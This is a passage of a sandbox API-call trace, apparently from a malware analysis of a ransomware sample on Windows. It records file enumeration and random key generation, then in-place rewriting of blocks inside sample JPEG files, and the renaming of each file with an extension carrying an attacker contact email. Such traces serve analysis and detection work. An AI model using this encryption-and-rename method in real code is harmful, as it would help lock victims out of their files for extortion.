returned="C:\\Users\\Default\\AppData\\Roaming\\Identities\\" [0049.319] wcscat (in: _Dest=0x48d6c8, _Source="*" | out: _Dest="C:\\Users\\Default\\AppData\\Roaming\\Identities\\*") returned="C:\\Users\\Default\\AppData\\Roaming\\Identities\\*" [0049.319] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x45b710 [0049.319] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Identities\\*", lpFindFileData=0x45b710 | out: lpFindFileData=0x45b710*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x409ee8 [0049.838] wcscmp (_String1=".", _String2=".") returned 0 [0049.838] FindNextFileW (in: hFindFile=0x409ee8, lpFindFileData=0x45b710 | out: lpFindFileData=0x45b710*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.838] wcscmp (_String1="..", _String2=".") returned 1 [0049.838] wcscmp (_String1="..", _String2="..") returned 0 [0049.838] FindNextFileW (in: hFindFile=0x409ee8, lpFindFileData=0x45b710 | out: lpFindFileData=0x45b710*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{31810C36-5D23-4CCE-A3B4-316DED195C38}", cAlternateFileName="{31810~1")) returned 1 [0049.838] wcscmp (_String1="{31810C36-5D23-4CCE-A3B4-316DED195C38}", _String2=".") returned 1 [0049.838] wcscmp (_String1="{31810C36-5D23-4CCE-A3B4-316DED195C38}", _String2="..") returned 1 [0049.838] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xa6) returned 0x442d00 [0049.838] wcscpy (in: _Dest=0x442d00, _Source="C:\\Users\\Default\\AppData\\Roaming\\Identities" | out: _Dest="C:\\Users\\Default\\AppData\\Roaming\\Identities") returned="C:\\Users\\Default\\AppData\\Roaming\\Identities" [0049.838] wcscat (in: _Dest=0x442d00, _Source="\\" | out: _Dest="C:\\Users\\Default\\AppData\\Roaming\\Identities\\") returned="C:\\Users\\Default\\AppData\\Roaming\\Identities\\" [0049.838] wcscat (in: _Dest=0x442d00, _Source="{31810C36-5D23-4CCE-A3B4-316DED195C38}" | out: _Dest="C:\\Users\\Default\\AppData\\Roaming\\Identities\\{31810C36-5D23-4CCE-A3B4-316DED195C38}") returned="C:\\Users\\Default\\AppData\\Roaming\\Identities\\{31810C36-5D23-4CCE-A3B4-316DED195C38}" [0059.823] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x442d00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11c4 [0059.824] FindNextFileW (in: hFindFile=0x409ee8, lpFindFileData=0x45b710 | out: lpFindFileData=0x45b710*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{31810C36-5D23-4CCE-A3B4-316DED195C38}", cAlternateFileName="{31810~1")) returned 0 [0059.824] FindClose (in: hFindFile=0x409ee8 | out: hFindFile=0x409ee8) returned 1 [0059.825] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x45b710) returned 1 [0059.825] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x48d6c8) returned 1 [0059.825] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44a7f0) returned 1 Thread: id = 521 os_tid = 0xf14 [0049.320] GetFileAttributesW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Chrysanthemum.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\chrysanthemum.jpg")) returned 0x20 [0051.477] SetFileAttributesW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Chrysanthemum.jpg", dwFileAttributes=0x20) returned 1 [0052.231] CreateFileW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Chrysanthemum.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\chrysanthemum.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x7cc [0052.231] GetFileSizeEx (in: hFile=0x7cc, lpFileSize=0x576fe20 | out: lpFileSize=0x576fe20*=879394) returned 1 [0052.231] SetFilePointerEx (in: hFile=0x7cc, liDistanceToMove=0xd6b1e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0052.231] ReadFile (in: hFile=0x7cc, lpBuffer=0x576fda4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x576fda0, lpOverlapped=0x0 | out: lpBuffer=0x576fda4*, lpNumberOfBytesRead=0x576fda0*=0x4, lpOverlapped=0x0) returned 1 [0052.233] SetFilePointerEx (in: hFile=0x7cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0052.233] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x43fdb0 [0052.233] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x43fdd8 [0052.233] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x43fe00 [0052.233] NtQuerySystemTime (in: CurrentTime=0x576fd80 | out: CurrentTime=0x576fd80*=132174898162212000) returned 0x0 [0052.233] RtlRandomEx (in: Seed=0x576fd8c | out: Seed=0x576fd8c) returned 0x5141cf24 [0052.233] RtlRandomEx (in: Seed=0x576fd8c | out: Seed=0x576fd8c) returned 0x68f7c509 [0052.233] RtlRandomEx (in: Seed=0x576fd8c | out: Seed=0x576fd8c) returned 0x6250e007 [0052.233] RtlRandomEx (in: Seed=0x576fd8c | out: Seed=0x576fd8c) returned 0x4486a17 [0052.233] RtlRandomEx (in: Seed=0x576fd8c | out: Seed=0x576fd8c) returned 0x5e73021d [0052.233] RtlRandomEx (in: Seed=0x576fd8c | out: Seed=0x576fd8c) returned 0x574a2e59 [0052.233] RtlRandomEx (in: Seed=0x576fd8c | out: Seed=0x576fd8c) returned 0x495f6f30 [0052.233] RtlRandomEx (in: Seed=0x576fd8c | out: Seed=0x576fd8c) returned 0x6a9258f3 [0052.233] RtlRandomEx (in: Seed=0x576fd8c | out: Seed=0x576fd8c) returned 0x1529e422 [0052.233] RtlRandomEx (in: Seed=0x576fd8c | out: Seed=0x576fd8c) returned 0x7ed30188 [0052.233] RtlRandomEx (in: Seed=0x576fd8c | out: Seed=0x576fd8c) returned 0x71e79d0a [0052.233] RtlRandomEx (in: Seed=0x576fd8c | out: Seed=0x576fd8c) returned 0x1c0f83dd [0052.234] RtlRandomEx (in: Seed=0x576fd8c | out: Seed=0x576fd8c) returned 0x4dcdb35 [0052.234] RtlRandomEx (in: Seed=0x576fd8c | out: Seed=0x576fd8c) returned 0x7b6fe004 [0052.234] RtlRandomEx (in: Seed=0x576fd8c | out: Seed=0x576fd8c) returned 0x39978a44 [0052.234] RtlRandomEx (in: Seed=0x576fd8c | out: Seed=0x576fd8c) returned 0x1737e6e [0052.234] RtlRandomEx (in: Seed=0x576fd8c | out: Seed=0x576fd8c) returned 0x663dc11 [0052.234] RtlRandomEx (in: Seed=0x576fd8c | out: Seed=0x576fd8c) returned 0x20f7cc93 [0052.234] RtlRandomEx (in: Seed=0x576fd8c | out: Seed=0x576fd8c) returned 0x27d95b23 [0052.234] RtlRandomEx (in: Seed=0x576fd8c | out: Seed=0x576fd8c) returned 0x389de7c6 [0052.234] RtlRandomEx (in: Seed=0x576fd8c | out: Seed=0x576fd8c) returned 0x2dedd22a [0052.234] RtlRandomEx (in: Seed=0x576fd8c | out: Seed=0x576fd8c) returned 0x5102dc76 [0052.234] RtlRandomEx (in: Seed=0x576fd8c | out: Seed=0x576fd8c) returned 0x98eb19f [0052.234] RtlRandomEx (in: Seed=0x576fd8c | out: Seed=0x576fd8c) returned 0x417a08af [0052.234] RtlRandomEx (in: Seed=0x576fd8c | out: Seed=0x576fd8c) returned 0x406b6701 [0052.234] RtlRandomEx (in: Seed=0x576fd8c | out: Seed=0x576fd8c) returned 0xbdb6085 [0052.234] RtlRandomEx (in: Seed=0x576fd8c | out: Seed=0x576fd8c) returned 0x704c088 [0052.234] RtlRandomEx (in: Seed=0x576fd8c | out: Seed=0x576fd8c) returned 0x280a0525 [0052.234] RtlRandomEx (in: Seed=0x576fd8c | out: Seed=0x576fd8c) returned 0x72d33d55 [0052.234] RtlRandomEx (in: Seed=0x576fd8c | out: Seed=0x576fd8c) returned 0x5c2c9e79 [0052.234] RtlRandomEx (in: Seed=0x576fd8c | out: Seed=0x576fd8c) returned 0x52b8f960 [0052.234] RtlRandomEx (in: Seed=0x576fd8c | out: Seed=0x576fd8c) returned 0x2b5b11d5 [0052.246] SetFilePointerEx (in: hFile=0x7cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0052.246] ReadFile (in: hFile=0x7cc, lpBuffer=0x12e44a10, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x576fd38, lpOverlapped=0x0 | out: lpBuffer=0x12e44a10*, lpNumberOfBytesRead=0x576fd38*=0xc800, lpOverlapped=0x0) returned 1 [0052.248] SetFilePointerEx (in: hFile=0x7cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0052.248] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x4024e0 [0052.248] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x5e46160 [0052.248] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x43fdb0 [0052.248] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43fdb0) returned 1 [0052.258] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x12e51218 [0052.262] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x43fdb0 [0052.262] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x43fe00 [0052.262] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43fe00) returned 1 [0052.262] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e46160) returned 1 [0052.262] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4024e0) returned 1 [0052.262] WriteFile (in: hFile=0x7cc, lpBuffer=0x12e51218*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x576fd38, lpOverlapped=0x0 | out: lpBuffer=0x12e51218*, lpNumberOfBytesWritten=0x576fd38*=0xc800, lpOverlapped=0x0) returned 1 [0057.671] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12e51218) returned 1 [0057.671] SetFilePointerEx (in: hFile=0x7cc, liDistanceToMove=0x70800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0057.672] ReadFile (in: hFile=0x7cc, lpBuffer=0x12e44a10, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x576fd38, lpOverlapped=0x0 | out: lpBuffer=0x12e44a10*, lpNumberOfBytesRead=0x576fd38*=0xc800, lpOverlapped=0x0) returned 1 [0057.673] SetFilePointerEx (in: hFile=0x7cc, liDistanceToMove=0x70800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0057.673] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x402c30 [0057.673] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x5e461d8 [0057.673] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x43fce8 [0057.673] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43fce8) returned 1 [0057.674] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x12e51218 [0057.675] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x43fce8 [0057.675] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x43fcc0 [0057.675] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43fcc0) returned 1 [0057.675] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e461d8) returned 1 [0057.675] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x402c30) returned 1 [0057.675] WriteFile (in: hFile=0x7cc, lpBuffer=0x12e51218*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x576fd38, lpOverlapped=0x0 | out: lpBuffer=0x12e51218*, lpNumberOfBytesWritten=0x576fd38*=0xc800, lpOverlapped=0x0) returned 1 [0059.180] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12e51218) returned 1 [0059.180] SetFilePointerEx (in: hFile=0x7cc, liDistanceToMove=0xca322, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.180] ReadFile (in: hFile=0x7cc, lpBuffer=0x12e44a10, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x576fd38, lpOverlapped=0x0 | out: lpBuffer=0x12e44a10*, lpNumberOfBytesRead=0x576fd38*=0xc800, lpOverlapped=0x0) returned 1 [0059.181] SetFilePointerEx (in: hFile=0x7cc, liDistanceToMove=0xca322, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.181] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x44bd30 [0059.181] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x43b348 [0059.181] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4416b8 [0059.181] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4416b8) returned 1 [0059.182] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x12e51218 [0059.183] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4416b8 [0059.183] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4413e8 [0059.183] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4413e8) returned 1 [0059.183] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43b348) returned 1 [0059.183] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44bd30) returned 1 [0059.183] WriteFile (in: hFile=0x7cc, lpBuffer=0x12e51218*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x576fd38, lpOverlapped=0x0 | out: lpBuffer=0x12e51218*, lpNumberOfBytesWritten=0x576fd38*=0xc800, lpOverlapped=0x0) returned 1 [0062.298] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12e51218) returned 1 [0062.298] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x60) returned 0x445c40 [0062.298] SetFilePointerEx (in: hFile=0x7cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.298] WriteFile (in: hFile=0x7cc, lpBuffer=0x4246d0*, nNumberOfBytesToWrite=0x153, lpNumberOfBytesWritten=0x576fde0, lpOverlapped=0x0 | out: lpBuffer=0x4246d0*, lpNumberOfBytesWritten=0x576fde0*=0x153, lpOverlapped=0x0) returned 1 [0062.732] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4246d0) returned 1 [0063.299] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40ac98) returned 1 [0063.299] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43fdb0) returned 1 [0063.299] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40ad08) returned 1 [0063.299] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x445c40) returned 1 [0063.299] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43fdd8) returned 1 [0063.299] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43fe28) returned 1 [0063.299] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43fe50) returned 1 [0063.299] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xbe) returned 0x12f4d780 [0063.299] wcscpy (in: _Dest=0x12f4d780, _Source="C:\\Users\\Public\\Pictures\\Sample Pictures\\Chrysanthemum.jpg" | out: _Dest="C:\\Users\\Public\\Pictures\\Sample Pictures\\Chrysanthemum.jpg") returned="C:\\Users\\Public\\Pictures\\Sample Pictures\\Chrysanthemum.jpg" [0063.299] wcscat (in: _Dest=0x12f4d780, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\Public\\Pictures\\Sample Pictures\\Chrysanthemum.jpg.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\Public\\Pictures\\Sample Pictures\\Chrysanthemum.jpg.mailto[2Hamlampampom@cock.li].cd46d" [0063.299] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Chrysanthemum.jpg.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x576fd98, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\Public\\Pictures\\Sample Pictures\\Chrysanthemum.jpg.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0063.299] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xd4) returned 0x4d4380 [0063.300] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4d4380) returned 1 [0063.300] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4829c0) returned 1 [0063.300] NtQueryInformationFile (in: FileHandle=0x7cc, IoStatusBlock=0x576fda4, FileInformation=0x576fd7c, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x576fda4, FileInformation=0x576fd7c) returned 0x0 [0063.300] NtSetInformationFile (FileHandle=0x7cc, IoStatusBlock=0x576fda4, FileInformation=0x576fd7c, Length=0x28, FileInformationClass=0x4) returned 0x0 [0063.304] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12f4d780) returned 1 [0063.304] FlushFileBuffers (hFile=0x7cc) returned 1 [0066.218] CloseHandle (hObject=0x7cc) Thread: id = 522 os_tid = 0xf18 [0049.321] GetFileAttributesW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Desert.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\desert.jpg")) returned 0x20 [0051.483] SetFileAttributesW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Desert.jpg", dwFileAttributes=0x20) returned 1 [0052.286] CreateFileW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Desert.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\desert.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x220 [0052.286] GetFileSizeEx (in: hFile=0x220, lpFileSize=0xcc8fb20 | out: lpFileSize=0xcc8fb20*=845941) returned 1 [0052.286] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0xce871, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0052.287] ReadFile (in: hFile=0x220, lpBuffer=0xcc8faa4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xcc8faa0, lpOverlapped=0x0 | out: lpBuffer=0xcc8faa4*, lpNumberOfBytesRead=0xcc8faa0*=0x4, lpOverlapped=0x0) returned 1 [0052.288] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0052.288] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x43fea0 [0052.288] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x43ff18 [0052.288] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x43ff40 [0052.288] NtQuerySystemTime (in: CurrentTime=0xcc8fa80 | out: CurrentTime=0xcc8fa80*=132174898162680000) returned 0x0 [0052.288] RtlRandomEx (in: Seed=0xcc8fa8c | out: Seed=0xcc8fa8c) returned 0x3a77e832 [0052.288] RtlRandomEx (in: Seed=0xcc8fa8c | out: Seed=0xcc8fa8c) returned 0x6fdcd742 [0052.288] RtlRandomEx (in: Seed=0xcc8fa8c | out: Seed=0xcc8fa8c) returned 0x3c796245 [0052.288] RtlRandomEx (in: Seed=0xcc8fa8c | out: Seed=0xcc8fa8c) returned 0x4b702332 [0052.288] RtlRandomEx (in: Seed=0xcc8fa8c | out: Seed=0xcc8fa8c) returned 0x5c6d3e34 [0052.288] RtlRandomEx (in: Seed=0xcc8fa8c | out: Seed=0xcc8fa8c) returned 0x6947e252 [0052.288] RtlRandomEx (in: Seed=0xcc8fa8c | out: Seed=0xcc8fa8c) returned 0xebf118e [0052.288] RtlRandomEx (in: Seed=0xcc8fa8c | out: Seed=0xcc8fa8c) returned 0x6d25afb9 [0052.288] RtlRandomEx (in: Seed=0xcc8fa8c | out: Seed=0xcc8fa8c) returned 0x2de8d6b8 [0052.288] RtlRandomEx (in: Seed=0xcc8fa8c | out: Seed=0xcc8fa8c) returned 0x67c6d258 [0052.288] RtlRandomEx (in: Seed=0xcc8fa8c | out: Seed=0xcc8fa8c) returned 0x2efe76f8 [0052.288] RtlRandomEx (in: Seed=0xcc8fa8c | out: Seed=0xcc8fa8c) returned 0x5e6f7686 [0052.289] RtlRandomEx (in: Seed=0xcc8fa8c | out: Seed=0xcc8fa8c) returned 0x5cc8bd75 [0052.289] RtlRandomEx (in: Seed=0xcc8fa8c | out: Seed=0xcc8fa8c) returned 0x60e0f6e8 [0052.289] RtlRandomEx (in: Seed=0xcc8fa8c | out: Seed=0xcc8fa8c) returned 0x63af2642 [0052.289] RtlRandomEx (in: Seed=0xcc8fa8c | out: Seed=0xcc8fa8c) returned 0x19fcbc88 [0052.289] RtlRandomEx (in: Seed=0xcc8fa8c | out: Seed=0xcc8fa8c) returned 0x399eee5b [0052.289] RtlRandomEx (in: Seed=0xcc8fa8c | out: Seed=0xcc8fa8c) returned 0x23c7ecac [0052.289] RtlRandomEx (in: Seed=0xcc8fa8c | out: Seed=0xcc8fa8c) returned 0xf708611 [0052.289] RtlRandomEx (in: Seed=0xcc8fa8c | out: Seed=0xcc8fa8c) returned 0x4e5b3d0 [0052.289] RtlRandomEx (in: Seed=0xcc8fa8c | out: Seed=0xcc8fa8c) returned 0x4b964c29 [0052.289] RtlRandomEx (in: Seed=0xcc8fa8c | out: Seed=0xcc8fa8c) returned 0x5c29aa4a [0052.289] RtlRandomEx (in: Seed=0xcc8fa8c | out: Seed=0xcc8fa8c) returned 0xccfc12c [0052.289] RtlRandomEx (in: Seed=0xcc8fa8c | out: Seed=0xcc8fa8c) returned 0x19646aaa [0052.289] RtlRandomEx (in: Seed=0xcc8fa8c | out: Seed=0xcc8fa8c) returned 0x1aa7633 [0052.289] RtlRandomEx (in: Seed=0xcc8fa8c | out: Seed=0xcc8fa8c) returned 0x6e5b8dd0 [0052.289] RtlRandomEx (in: Seed=0xcc8fa8c | out: Seed=0xcc8fa8c) returned 0x4a5c99fc [0052.289] RtlRandomEx (in: Seed=0xcc8fa8c | out: Seed=0xcc8fa8c) returned 0x5fee0c89 [0052.289] RtlRandomEx (in: Seed=0xcc8fa8c | out: Seed=0xcc8fa8c) returned 0x21cd9595 [0052.289] RtlRandomEx (in: Seed=0xcc8fa8c | out: Seed=0xcc8fa8c) returned 0x5d78034d [0052.289] RtlRandomEx (in: Seed=0xcc8fa8c | out: Seed=0xcc8fa8c) returned 0x2b19e658 [0052.289] RtlRandomEx (in: Seed=0xcc8fa8c | out: Seed=0xcc8fa8c) returned 0x2cae8735 [0052.301] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0052.301] ReadFile (in: hFile=0x220, lpBuffer=0x12e76a30, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0xcc8fa38, lpOverlapped=0x0 | out: lpBuffer=0x12e76a30*, lpNumberOfBytesRead=0xcc8fa38*=0xc800, lpOverlapped=0x0) returned 1 [0052.303] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0052.303] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x4024e0 [0052.303] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x5e46160 [0052.303] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x43fea0 [0052.303] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43fea0) returned 1 [0052.304] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x12e83238 [0052.307] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x43fea0 [0052.307] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x43ff40 [0052.307] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43ff40) returned 1 [0052.307] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e46160) returned 1 [0052.307] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4024e0) returned 1 [0052.307] WriteFile (in: hFile=0x220, lpBuffer=0x12e83238*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0xcc8fa38, lpOverlapped=0x0 | out: lpBuffer=0x12e83238*, lpNumberOfBytesWritten=0xcc8fa38*=0xc800, lpOverlapped=0x0) returned 1 [0057.682] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12e83238) returned 1 [0057.682] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x70800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0057.682] ReadFile (in: hFile=0x220, lpBuffer=0x12e76a30, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0xcc8fa38, lpOverlapped=0x0 | out: lpBuffer=0x12e76a30*, lpNumberOfBytesRead=0xcc8fa38*=0xc800, lpOverlapped=0x0) returned 1 [0057.683] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x70800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0057.683] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x402c30 [0057.683] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x5e461d8 [0057.684] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x43fc70 [0057.684] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, 